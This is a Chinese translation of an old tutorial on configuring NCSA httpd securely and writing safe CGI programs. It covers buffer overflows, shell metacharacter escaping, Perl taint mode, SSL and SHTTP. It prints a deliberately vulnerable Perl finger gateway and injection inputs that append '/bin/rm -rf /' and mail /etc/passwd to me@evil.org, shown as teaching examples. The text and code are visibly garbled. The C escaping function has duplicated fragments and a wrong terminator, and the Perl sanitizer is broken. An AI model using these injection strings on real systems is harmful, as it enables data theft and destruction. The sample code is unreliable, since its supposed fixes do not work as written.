缺省情況下,下面的全局選項(xiàng)這樣設(shè)置:
Options Indexes FollowSymLinks
當(dāng)URL指定的目錄里沒(méi)有要查找的文件時(shí),Indexes允許你指定一個(gè)文件。缺省情況下,這個(gè)變量為index.html,通過(guò)srm.conf中的DirectoryIndex來(lái)指定,很符合我們的意圖。FollowSymLinks意指服務(wù)器會(huì)返回符號(hào)連接指向的數(shù)據(jù)。我沒(méi)看到這個(gè)特性的必要性,所以我禁止了它。現(xiàn)在,這一行看起來(lái)象這樣:
Options Indexes
如果我想在任何目錄中使CGI程序有效,我可以通過(guò)包含ExecCGI選項(xiàng)來(lái)設(shè)置:
Options Indexes ExecCGI
這一行,結(jié)合在srm.conf中的AddType指令,可以允許我通過(guò)在任何目錄中給所有的CGI程序添加.cgi的擴(kuò)展名來(lái)執(zhí)行一個(gè)CGI。
缺省情況下NCSA httpd的配置,通過(guò)在一個(gè)具有適當(dāng)?shù)膶傩院驮L問(wèn)限制的特定目錄中創(chuàng)建.htaccess文件使access.conf中的所有設(shè)置都可以被超越。在這種情況下,我不介意用戶改變它們的訪問(wèn)限制。然而,我不想賦予用戶在他們自己的目錄里執(zhí)行CGI和.htaccess文件的能力。
AddType application/x-httpd-cgi .cgi Options Indexes ExecCGI
因此,我編輯access.conf來(lái)允許用戶超越除了選項(xiàng)外所有的設(shè)置:
AllowOverride FileInfo AuthConfig Limit
現(xiàn)在,我的服務(wù)器安全的配置了。我只允許在cgi-bin目錄中運(yùn)行CGI,并且使服務(wù)器嵌入指令完全無(wú)效。服務(wù)器以nobody用戶運(yùn)行,一個(gè)我的系統(tǒng)中不存在的用戶。我禁止了所有我不需要的特性,并且用戶不能超越這些年特殊的限制。想了解很多的其他的配置信息,包括詳盡的訪問(wèn)限制,請(qǐng)參照NCSA服務(wù)器說(shuō)明文件。
2.寫出安全的CGI程序
假設(shè)你已經(jīng)使的你的計(jì)算機(jī)和Web服務(wù)器很安全了,那么你后面就應(yīng)該學(xué)會(huì)怎樣寫出一個(gè)安全性很好的CGI程序。編寫安全的CGI的原則和前面提到的相似:
A.你的程序只能實(shí)現(xiàn)你指定的功能。 B.不要給客戶額外的它不需要知道的信息。 C.不要相信客戶給你正確的信息。
關(guān)于第一條可能存在的安全隱患我在guestbook的例子中已經(jīng)說(shuō)明了。我提到了幾個(gè)可以揭露漏洞的常見(jiàn)的錯(cuò)誤,但是,你同樣應(yīng)該記住:你應(yīng)當(dāng)考慮你所應(yīng)用的每一個(gè)函數(shù)的所有含義。
第二條是一般安全性原則的簡(jiǎn)單擴(kuò)展:系統(tǒng)之外的人對(duì)你的系統(tǒng)了解的越少,你的系統(tǒng)就越?jīng)]有可能被攻破。
最后一條原則只是一條很好的很重要的編程原則,但同樣也是安全性很好的一個(gè)。CGI程序應(yīng)該是安全可靠、健壯的。一個(gè)hacker可能做的第一件事是想盡一切辦法通過(guò)在你的CGI程序中不斷調(diào)整輸入來(lái)搞亂程序,進(jìn)而達(dá)到攻入計(jì)算機(jī)的目的。如果你的程序并不健壯,那么這時(shí),它或者會(huì)崩潰,或者會(huì)實(shí)現(xiàn)其它的功能(當(dāng)然這些功能是你不允許的)。這兩種可能性都是令人不快的。為了杜絕這種可能性,不要對(duì)你的客戶可能發(fā)送的信息格式或值作任何的假定。
大多數(shù)CGI程序的本質(zhì)是簡(jiǎn)單的輸入/輸出程序。它提取客戶端的說(shuō)明并返回 一些響應(yīng)。這種程序幾乎沒(méi)有風(fēng)險(xiǎn)(當(dāng)然也會(huì)出現(xiàn)漏洞,后面你會(huì)看到)。因?yàn)镃GI程序并不對(duì)輸入感興趣,沒(méi)有什么錯(cuò)誤可能發(fā)生。然而,一旦你的程序利用輸入啟動(dòng),可能回調(diào)用其他的程序,寫文件,或者做一些功能更強(qiáng)大的而非簡(jiǎn)單返回輸出的事情,那么你就會(huì)冒引入安全漏洞的風(fēng)險(xiǎn)。通常,功能是直接和安全風(fēng)險(xiǎn)成比例的。
2-1.語(yǔ)言的風(fēng)險(xiǎn)性
不同的語(yǔ)言有其與生俱來(lái)的安全風(fēng)險(xiǎn)。任何語(yǔ)言都可以編寫安全的CGI程序,但是你必須注意每個(gè)語(yǔ)言的怪癖(急轉(zhuǎn))。這里,我只討論C和Perl,但是它們的有些特性并不適用于其它語(yǔ)言。想得到其他語(yǔ)言的指定信息,請(qǐng)參照適當(dāng)?shù)奈募?nbsp;
在前面的章節(jié)我們學(xué)到,一般來(lái)說(shuō),編譯CGI程序比解釋腳本更可取。編譯程序有兩個(gè)優(yōu)勢(shì):首先,你不需要有服務(wù)器可理解的解釋器;其次,程序的源文件是不可訪問(wèn)的。注意,像Perl一樣的傳統(tǒng)的解釋型語(yǔ)言可以被編譯成二進(jìn)制形式。(關(guān)于如何在Perl中實(shí)現(xiàn),請(qǐng)參閱Larry WaRandall Schwartz 的《Perl編程》)從安全立場(chǎng)來(lái)說(shuō),編譯的Perl程序和編譯的C程序一樣好用。
像C這樣比較低級(jí)的語(yǔ)言會(huì)出現(xiàn)被稱為buffer overflow的問(wèn)題。C語(yǔ)言并沒(méi)有處理字符串的好的內(nèi)置的方法。通常的方法或者是聲明一個(gè)字符數(shù)組或者指向字符的指針。很多人傾向于前一種方法,因?yàn)樗幊瘫容^簡(jiǎn)單。思考一下下面兩個(gè)功能等價(jià)的程序代碼。
程序1. 在C語(yǔ)言中使用數(shù)組定義字符串. #include #include #define message "Hello, world!" int main() { char buffer[80]; strcpy(buffer,message); printf("%s\n",buffer); return 0; }
程序2. 在C語(yǔ)言中使用指針定義字符串. #include #include #include #define message "Hello, world!" int main() { char *buffer = malloc(sizeof(char) * (strlen(message) + 1)); strcpy(buffer,message); printf("%s\n",buffer); return 0; }
程序1比程序2簡(jiǎn)單得多,而且在這個(gè)特定的例子里,兩者都可以很好的工作。我們假設(shè)有這樣一個(gè)例子:我已經(jīng)知道了我處理的字符串的長(zhǎng)度,因此,我可以定義一個(gè)適當(dāng)?shù)臄?shù)組長(zhǎng)度。但是,在CGI程序里,你不知道輸入的字符串會(huì)有多長(zhǎng)。舉個(gè)例子,如果信息的長(zhǎng)度大于80 char,那么程序1會(huì)崩潰(即我們通常說(shuō)的"溢出")。
這被稱為buffer overflow,聰明的hacker就會(huì)利用這個(gè)來(lái)遠(yuǎn)程執(zhí)行命令。這個(gè)緩沖溢出的bug存在于NCSA httpd v1.3中。這是為什么一個(gè)網(wǎng)絡(luò)(或CGI)程序員需要更細(xì)心地編程的很好的例子。在一個(gè)單用戶的機(jī)器里,緩沖溢出只能造成系統(tǒng)崩潰。在崩潰的單用戶計(jì)算機(jī)中沒(méi)有必要利用緩沖溢出來(lái)執(zhí)行程序,因?yàn)榇蟾拍阋呀?jīng)執(zhí)行了你需要的任何程序(除了公共終端)。然而,在網(wǎng)絡(luò)系統(tǒng)中,一個(gè)崩潰的CGI程序遠(yuǎn)不是這么簡(jiǎn)單,它會(huì)成為未經(jīng)授權(quán)的用戶進(jìn)入的后門。
程序2中的代碼解決了兩個(gè)問(wèn)題。首先,它動(dòng)態(tài)的分配了存儲(chǔ)字符串的足夠的空間。其次,注意我將信息的長(zhǎng)度加了1。這樣,我實(shí)際上分配了比字符串長(zhǎng)度多1字節(jié)的內(nèi)存。這就保證字符串不會(huì)是0。因?yàn)槟繕?biāo)字符總是會(huì)為額外的字符留有空間,strcpy()函數(shù)在目標(biāo)字符串的最后添加了空字符,strcpy()放置了空字符。沒(méi)有理由認(rèn)為傳送給CGI腳本的字符串會(huì)是空字符,因此,為了以防萬(wàn)一,我在最后留了1字節(jié)的空間。
倘若你的C程序避免了像緩沖溢出這樣的問(wèn)題,那么你就可以寫出安全的CGI程序。然而,這是艱苦的工作,特別是當(dāng)你的CGI很大更復(fù)雜的時(shí)候。這些問(wèn)題將迫使你花費(fèi)比一般的CGI任務(wù)更多的時(shí)間來(lái)思索低級(jí)語(yǔ)言的設(shè)計(jì)工作。基于這個(gè)原因,你可能更喜歡高級(jí)一點(diǎn)的編程語(yǔ)言(如Perl)。
然而,具有高級(jí)特點(diǎn)的Perl有著冒失的一面。盡管你能假設(shè)Perl會(huì)正確地處理字符串的存儲(chǔ),但當(dāng)Perl使用你并不注意的高級(jí)一點(diǎn)的語(yǔ)法做一些事情時(shí),很可能會(huì)有危險(xiǎn)。在下一節(jié)中你會(huì)更清楚的了解到。
2-2.shell危險(xiǎn)性
很多的CGI任務(wù)都可以使用其他的程序很容易的實(shí)現(xiàn)。例如,你要寫一個(gè)CGI的郵件網(wǎng)關(guān),完全使用CGI程序來(lái)完成執(zhí)行郵件的發(fā)送代理是很愚蠢的行為。更實(shí)用的方法是將數(shù)據(jù)通過(guò)管道傳送到一個(gè)存在的郵件傳送代理程序,比如sendmail,然后讓sendmail來(lái)完成剩下的工作。這種習(xí)慣很好并值得鼓勵(lì)。
安全風(fēng)險(xiǎn)依賴于你怎樣調(diào)用這些外部的程序。完成這項(xiàng)工作在Perl和C中有很多函數(shù)可以實(shí)現(xiàn)。它們中很多函數(shù)通過(guò)調(diào)用shell,然后讓shell來(lái)執(zhí)行這個(gè)命令。這些命令被列在表1中,如果你使用了它們中的一個(gè),那么你就使得Unix hells在攻擊下顯得很脆弱。
表1. C和Perl中可以調(diào)用shell的函數(shù). Perl 函數(shù) C 函數(shù) system(’...’) system() open(’| ...’) popen() exec(’...’)
eval(’...’)
`...`
為什么shell很危險(xiǎn)呢?有很多的非數(shù)字的字符可以通過(guò)shell轉(zhuǎn)換成特殊的字符。這些字符被稱為元字符(譯者注:這里我將metacharacter譯為元字符),見(jiàn)表2。
表2. Shell metacharacters. ; < > * | ` & $ ! # ( ) [ ] : { } ’ "
每一個(gè)這種字符在shell中都起著特殊的作用。例如,假如你想利用finger來(lái)查詢一臺(tái)計(jì)算機(jī)并將結(jié)果存儲(chǔ)到一個(gè)文件中,你可以在命令行中如下輸入:
finger @fake.machine.org > results
這會(huì)使用finger查詢主機(jī)fake.machine.org并將查詢結(jié)果保存到一個(gè)文本文 件results中。這個(gè)>字符在這里是一個(gè)重定向符。如果你要實(shí)際地使用>字符——例如,你想將它回顯到屏幕上——你將需要在這個(gè)字符前加一個(gè)反斜杠。舉個(gè)例子,下面將向屏幕輸出一個(gè)符號(hào)>:
echo \>
這被稱為轉(zhuǎn)義字符(escaping or sanitizing the character string)。
hacker是怎樣利用這個(gè)作為他(她)的優(yōu)勢(shì)的?觀察以下程序3中用perl編寫的finger程序。這個(gè)程序所做的是允許用戶查詢一個(gè)用戶和一臺(tái)主機(jī)的詳細(xì)信息,并且,這個(gè)CGI可以查詢用戶并顯示結(jié)果。 [page_break]程序3. finger.cgi. #!/usr/local/bin/perl # finger.cgi - an unsafe finger gateway require ’cgi-lib.pl’; print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger $in`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; }
乍一看,這個(gè)程序好象沒(méi)有什么害處。因?yàn)槭怯肞erl編寫的,不會(huì)有bufferoverflow的危險(xiǎn)。我使用了finger的完全路徑,這樣gateway不會(huì)被偽造的finger程序所欺騙。如果輸入是一個(gè)不合適的格式,那么gateway將返回一個(gè)錯(cuò)誤而不會(huì)被人利用。
但是,如果我嘗試如下的輸入會(huì)怎樣呢(如圖1所示) nobody@nowhere.org;/bin/rm -rf / FINGER GATEWAY ___________________________________ User@Host: |nobody@nowhere.org ; /bin/rm -rf / | ----------------------------------- ______________ | Submit Query | -------------- (圖1)
(譯者注:原圖是一個(gè)瀏覽器,我僅畫出HTML頁(yè)中的部分。)
我們來(lái)看一下下面的程序行會(huì)如何處理這樣的輸入: print `/usr/bin/finger $in`
由于你使用了向后的標(biāo)記,首先它會(huì)執(zhí)行一個(gè)shell。然后它將執(zhí)行如下的命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
這將會(huì)怎樣呢?假設(shè)在命令行像這樣輸入。它會(huì)刪除所有的文件和目錄,從root的目錄開(kāi)始。我們需要sanitize這個(gè)輸入來(lái)render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函數(shù)可以很容易的實(shí)現(xiàn)。(C中的這些等價(jià)函數(shù)在表5中;它們來(lái)自cgihtml的C庫(kù)。)
程序4. Perl中的escape_input(). sub escape_input { @_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\:’"\\])/\\$1/g; return @_; }
程序5. C語(yǔ)言中的escape_input(). char *escape_input(char *str) /* takes string and escapes all metacharacters.should be used before including string in system() or similar call. */ { int i,j = 0; char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1)); for (i = 0; i < strlen(str); i++) { > strlen(str); i++) { > printf("i = %d; j = %d\n",i,j); switch (str[i]) { case ’|’: case ’&’: case ’;’: case ’(’: case ’)’: case ’<’: >’: > case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’: case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’: case ’`’: case ’{’: case ’}’: new[j] = ’\\’; j++; break; default: break; } new[j] = str[i]; j++; } new[j] = ’\n’; return new; }
這將返回一個(gè)帶有跟隨在\后的shell轉(zhuǎn)義字符的字符串。這個(gè)修正的finger.cgi網(wǎng)關(guān)在程序6中。
程序6. 一個(gè)安全的finger.cgi. #!/usr/local/bin/perl # finger.cgi - an safe finger gateway require ’cgi-lib.pl’; sub escape_input { @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\:’"])/\\$1/g; return @_; } print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger &escape_input($in)`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; }
這次,如果你使用前述相同的輸入,將派生出一個(gè)shell,它將嘗試這樣執(zhí) 行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
這樣,那個(gè)惡意的企圖將無(wú)法生效.它不再試圖刪除系統(tǒng)中所有的目錄,而是嘗試finger用戶nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符組合未必是你的系統(tǒng)中的用戶,因此可能會(huì)返回一個(gè)錯(cuò)誤。
記住幾個(gè)問(wèn)題。首先,如果你的Web服務(wù)器正確的配置了(例如,以非root 身份運(yùn)行),那么,刪除文件系統(tǒng)中的所有內(nèi)容的企圖不會(huì)成功。(如果服務(wù)器以root身份運(yùn)行,那么潛在的危害將是不可估量的。千萬(wàn)不要這樣做!)另外,用戶還假定rm命令在/bin目錄中。他或她假定了rm在這個(gè)路徑中。然而,所這些只是對(duì)大多數(shù)的Unix系統(tǒng)的樂(lè)觀的假設(shè),并不是完全適用的。在一個(gè)hrooted系統(tǒng)環(huán)境中,這個(gè)目錄中并沒(méi)有rm命令。那么hacker的努力將是徒勞的。從理論上說(shuō),通過(guò)安全防范和正確配置你的Web服務(wù)器,你可以將潛在的危害降低到幾乎為0,即使是書寫了糟糕的腳本。
然而,你沒(méi)有理由在編寫CGI程序時(shí)可以掉以輕心。事實(shí)上,大多數(shù)的Web環(huán)境并不是chrooted的,僅僅是因?yàn)樗沽撕芏嗳诵枰赪eb服務(wù)器中需要的靈活性。即使服務(wù)器不是以root身份運(yùn)行,用戶不能將文件系統(tǒng)中的文件全部刪除,一些人可以僅僅通過(guò)如下的輸入,將/etc/passwd文件寄給me@evil.org作為可能的攻擊途徑:
nobody@nowhere.org ; /bin/mail me@evil.org < tc/passwd =""> >
我可以通過(guò)操縱這個(gè)漏洞來(lái)干很多事情,即使是在一個(gè)配置良好的環(huán)境中。如果你在一個(gè)簡(jiǎn)單的CGI程序中容許一個(gè)漏洞從你的身邊溜過(guò),你怎么能肯定你正確并安全的配置了你復(fù)雜的Unix系統(tǒng)和Web服務(wù)器?
答案是你不能。你最好打賭弄清楚你的CGI程序是安全的。在shell中運(yùn)行它之前不輕易接受輸入是很容易對(duì)付的事情,它還是CGI編程中最常見(jiàn)的問(wèn)題之一。
幸運(yùn)的是,Perl擁有一個(gè)捕捉潛在感染的變量的很好的機(jī)制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),腳本將在潛在感染的變量傳遞給shell命令處中止。這將幫助你在開(kāi)始實(shí)際使用CGI程序時(shí)捕捉到所有的潛在感染的變量的例子。
注意到Perl擁有比C更多的派生shell的函數(shù)。這并不是顯而易見(jiàn)的,即使是對(duì)于中級(jí)的Perl程序員,在執(zhí)行程序前向后標(biāo)記派生出一個(gè)shell。這是高級(jí)語(yǔ)言的風(fēng)險(xiǎn)抉擇;因?yàn)槟悴皇呛苊鞔_地知道它做什么,所以你并不清楚一個(gè)函數(shù)會(huì)產(chǎn)生怎樣的安全漏洞。
如果你避免了使用調(diào)用shell的函數(shù),那么你不需要?jiǎng)h除敏感的輸入。在Perl 語(yǔ)言中,你可以通過(guò)使用system()或者exec()函數(shù)來(lái)封裝每一個(gè)參數(shù)。例如, 如下的調(diào)用很安全的$input:
system("/usr/ucb/finger",$input);
然而,在你的finger gateway的情況下,這個(gè)特點(diǎn)是毫無(wú)用處的,因?yàn)槟阋幚韋inger命令的輸出,這個(gè),除了你使用system函數(shù)外沒(méi)有方法可以捕獲。
在C語(yǔ)言中,你也可以通過(guò)使用exec一類的函數(shù)來(lái)直接執(zhí)行程序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C語(yǔ)言中等價(jià)于Perl中的 system()函數(shù)。你使用哪一個(gè)exec函數(shù)以及如何使之按你的需要執(zhí)行:這些細(xì)節(jié)已經(jīng)超出了本書的范圍。
3.安全處理
我前面簡(jiǎn)要討論的只是安全問(wèn)題的一個(gè)方面。現(xiàn)在流行的CGI應(yīng)用程序傾向于 收集信用卡信息。數(shù)據(jù)收集是CGI應(yīng)用程序的一個(gè)簡(jiǎn)單的任務(wù),但是敏感信息的收集需要一個(gè)將信息從瀏覽器傳送給服務(wù)器和CGI程序的安全途徑。
舉個(gè)例子,假設(shè)我要通過(guò)Internet來(lái)銷售書。我可能在瀏覽器上建立一個(gè)表單,允許要購(gòu)書的顧客通過(guò)表單提交它的個(gè)人信息和信用卡號(hào)碼。受到這些信息后,我會(huì)將它們存儲(chǔ)到我的計(jì)算機(jī)作為商業(yè)記錄。
如果有人侵入我的商業(yè)計(jì)算機(jī),那么他可能會(huì)訪問(wèn)存放顧客信息和信用卡號(hào)碼的機(jī)密數(shù)據(jù)。為了避免這種情況,我會(huì)審查我的計(jì)算機(jī)配置安全了,并確定用來(lái)接受表單的CGI腳本不會(huì)被惡意的操縱。換句話說(shuō),我,作為計(jì)算機(jī)的系統(tǒng)管理員和CGI程序員,要盡力控制住第一個(gè)問(wèn)題:防止信息直接從我的計(jì)算機(jī)中被竊取。
然而,怎樣防止當(dāng)信息由客戶端發(fā)往服務(wù)器過(guò)程中有人中途竊取呢?記住信息怎樣由Web服務(wù)器傳送到CGI程序了嗎?信息通過(guò)網(wǎng)絡(luò)由瀏覽器先傳送到服務(wù)器,然后服務(wù)器將信息傳送給CGI程序。這些信息可能在由客戶機(jī)傳送到服務(wù)器時(shí)被中途竊取(如圖2)。注意,為了保護(hù)信息使其不會(huì)被中途竊取,必須在客戶和服務(wù)器之間進(jìn)行加密。當(dāng)然,如果你的客戶機(jī)不能識(shí)別的話,你不能執(zhí)行特定CGI的加密。
_______________ ______________ |瀏覽器 | 表單輸入|| |(用戶提交表單; |—————————————>|| |瀏覽器將其以通 |<—————————————| 服務(wù)器 | >—————————————| 服務(wù)器 | > |常文本發(fā)送出去)|分析CGI輸出|| --------------- | | -------------- | | 表 || /\CGI 不懷好意的hacker單 || ||輸 輸 || ||出 入 || || \/ || _____________ | | | CGI | | | ------------- (圖2)
More: Java,CGI和安全處理
由于Web處理的特點(diǎn),使用你獨(dú)有的單獨(dú)通過(guò)CGI程序?qū)崿F(xiàn)的安全處理協(xié)議的唯一途徑是:在表單信息通過(guò)瀏覽器傳送到服務(wù)器之前將其加密。這個(gè)方案如圖3。
_______________ ______________ |瀏覽器 | 加密表單輸入|| | 用戶提交表單; |—————————————>|| |瀏覽器將輸入加 |<—————————————| 服務(wù)器 | >—————————————| 服務(wù)器 | > |密,發(fā)送加密信息|分析CGI輸出|| --------------- | | -------------- | | 加 || /\CGI 阻止 修補(bǔ)密 || ||輸 惡意 再次輸 || ||出 hacker阻止入 || ||(解密) \/ || _____________ | CGI | |解密處理輸入,| |發(fā)出響應(yīng)。 | ------------- (圖3)
之前,發(fā)展你自己的安全處理協(xié)議幾乎是不可能的。感謝Java這樣的語(yǔ)言,最近在客戶端處理所作的創(chuàng)新,使得這個(gè)發(fā)展變成可能。
方法是產(chǎn)生一個(gè)標(biāo)準(zhǔn)HTML格式擴(kuò)展的Java接口。當(dāng)Java的提交按鈕被選擇時(shí),java Applet會(huì)在利用標(biāo)準(zhǔn)的POST HTTP請(qǐng)求將它發(fā)送到Web服務(wù)器前先將值加密 (參照?qǐng)D4)
Web瀏覽器 _______________ ______________ |JAVA APPLET| 加密數(shù)據(jù)|| | 表單;用戶提交 |—————————————>|| |數(shù)據(jù),APPLET加密|<—————————————| 服務(wù)器 | >—————————————| 服務(wù)器 | > |數(shù)據(jù),發(fā)給服務(wù)器|CGI輸出|| --------------- -------------- 加 || /\CGI 密 || ||輸 數(shù) || ||出 據(jù) || || \/ || ________________ | CGI| |使用與APPLET相同| |方案解密數(shù)據(jù)并處| |理,發(fā)出解密響應(yīng).| ---------------- (圖4)
使用Java作為客戶機(jī)來(lái)發(fā)送和接收加密的數(shù)據(jù)將允許你使用自己定制的加密方案,而不需要一個(gè)昂貴的商業(yè)服務(wù)器。
因此,在網(wǎng)絡(luò)上安全保密地傳送數(shù)據(jù)信息需要調(diào)整瀏覽器和服務(wù)器之間的通信路徑,有一些是不能僅僅靠CGI就能夠控制的。目前有兩種加密客戶機(jī)/服務(wù)器信息處理的建議:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分別由Netscape和EIT(Enterprise Integrations Technology)提議。關(guān)于這點(diǎn),目前還不清楚哪一個(gè)將成為標(biāo)準(zhǔn);很多公司在他們的服務(wù)器中兩種都采用了。因此,知道如何在這兩者中編寫CGI程序是很有用的。 3 -1.SSL
SSL是一個(gè)協(xié)議獨(dú)立的加密方案,在網(wǎng)絡(luò)信息包的應(yīng)用層和傳輸層之間提供了安全的通道(參照?qǐng)D5)。簡(jiǎn)單說(shuō)來(lái),就是HTML或CGI經(jīng)過(guò)了幕后的 服務(wù)器進(jìn)行了加密處理,然而對(duì)HTML和CGI的作者來(lái)說(shuō)是透明的。
___________________________________ |瀏覽器| 傳輸層加密數(shù)據(jù)|服務(wù)器| |(發(fā)出標(biāo)準(zhǔn)的HTTP |—————————————>|(解密數(shù)據(jù);解釋成標(biāo)準(zhǔn)| |請(qǐng)求) |<—————————————|請(qǐng)求并發(fā)出標(biāo)準(zhǔn)響應(yīng)) | >—————————————|請(qǐng)求并發(fā)出標(biāo)準(zhǔn)響應(yīng)) | > ---------------- 傳輸層加密數(shù)據(jù)--------------------
(圖5)
因?yàn)榭蛻舳撕头⻊?wù)器端網(wǎng)絡(luò)程序處理加密過(guò)程,幾乎你的所有的CGI腳本不需要進(jìn)行安全事務(wù)的修正。有一個(gè)顯著的例外。一個(gè)nph(no-parse-header)的CGI程序繞過(guò)服務(wù)器而直接與客戶端進(jìn)行通信。因此,nph的CGI腳本不會(huì)經(jīng)過(guò)加密處理,因?yàn)樾畔⑽吹玫郊用堋J艽擞绊懙囊粋(gè)值得注意的CGI應(yīng)用程序是Netscape服務(wù)器推動(dòng)的動(dòng)態(tài)實(shí)現(xiàn)(Netscape server-push animations)。我懷疑這是主要應(yīng)該值得注意的,然而,更有可能因?yàn)橐踩膫鬏斆舾行畔⒍鵂奚?yè)面中的動(dòng)畫。
3-2.SHTTP
SHTTP采用一種和SSL不同的方法。它通過(guò)擴(kuò)展HTTP協(xié)議(應(yīng)用層)來(lái)運(yùn)作,優(yōu)于一個(gè)較低層。因此,盡管SSL可以應(yīng)用于所有的網(wǎng)絡(luò)服務(wù),然而SHTTP是一個(gè)特定的Web協(xié)議。
另外,還有其它的優(yōu)點(diǎn)。作為HTTP的擴(kuò)展集,SHTTP全兼容于HTTP和SHTTP的瀏覽器和服務(wù)器。為了使用SSL,你必須有一個(gè)支持SSL的瀏覽器和服務(wù)器。另外,SHTTP是一個(gè)更靈活的協(xié)議。例如,這個(gè)服務(wù)器可以指定首選的加密方案。
SHTTP處理依賴于附加的HTTP頭。因此,如果你想讓你的CGI程序采用SHTTP的加密處理,你需要包含適當(dāng)?shù)念^。例如,替換簡(jiǎn)單返回HTTP頭。
Content-type:text/html
當(dāng)一個(gè)SHTTP服務(wù)器從CGI應(yīng)用程序中收到這個(gè)信息,它會(huì)知道在將其發(fā)送到瀏覽器之前將信息加密。一個(gè)非SHTTP的瀏覽器將忽略附加的頭。
關(guān)于使用SHTTP的更多的信息,請(qǐng)參照SHTTP的說(shuō)明書:
http://www.commerce.net/information/standards/drafts/shttp.txt 4.概要
安全是你在處理網(wǎng)絡(luò)應(yīng)用程序(例如WWW)中不可避免的一件事。如果你的Web服務(wù)器沒(méi)有安全的配置,那么編寫安全的CGI應(yīng)用程序就不是非常有用的了。一個(gè)正確配置的Web服務(wù)器,從另一方面講,可以最小限度的減少因?yàn)樵愀獾腃GI腳本而帶來(lái)的損害。
大體上,我們應(yīng)該記住下面的原則:
A.你的程序應(yīng)當(dāng)只能提供你指定的服務(wù)。
B.不到必要的時(shí)候不暴露任何有關(guān)你的服務(wù)器的信息。
C.如果有人成功的闖入你的系統(tǒng),應(yīng)最小限度的減少損害。
D.確定你的應(yīng)用程序是安全可靠并且嚴(yán)密的。
當(dāng)你編寫CGI程序時(shí),要特別注意你的編程語(yǔ)言的局限性(或不足)以及傳遞給shell的不確定的變量。
|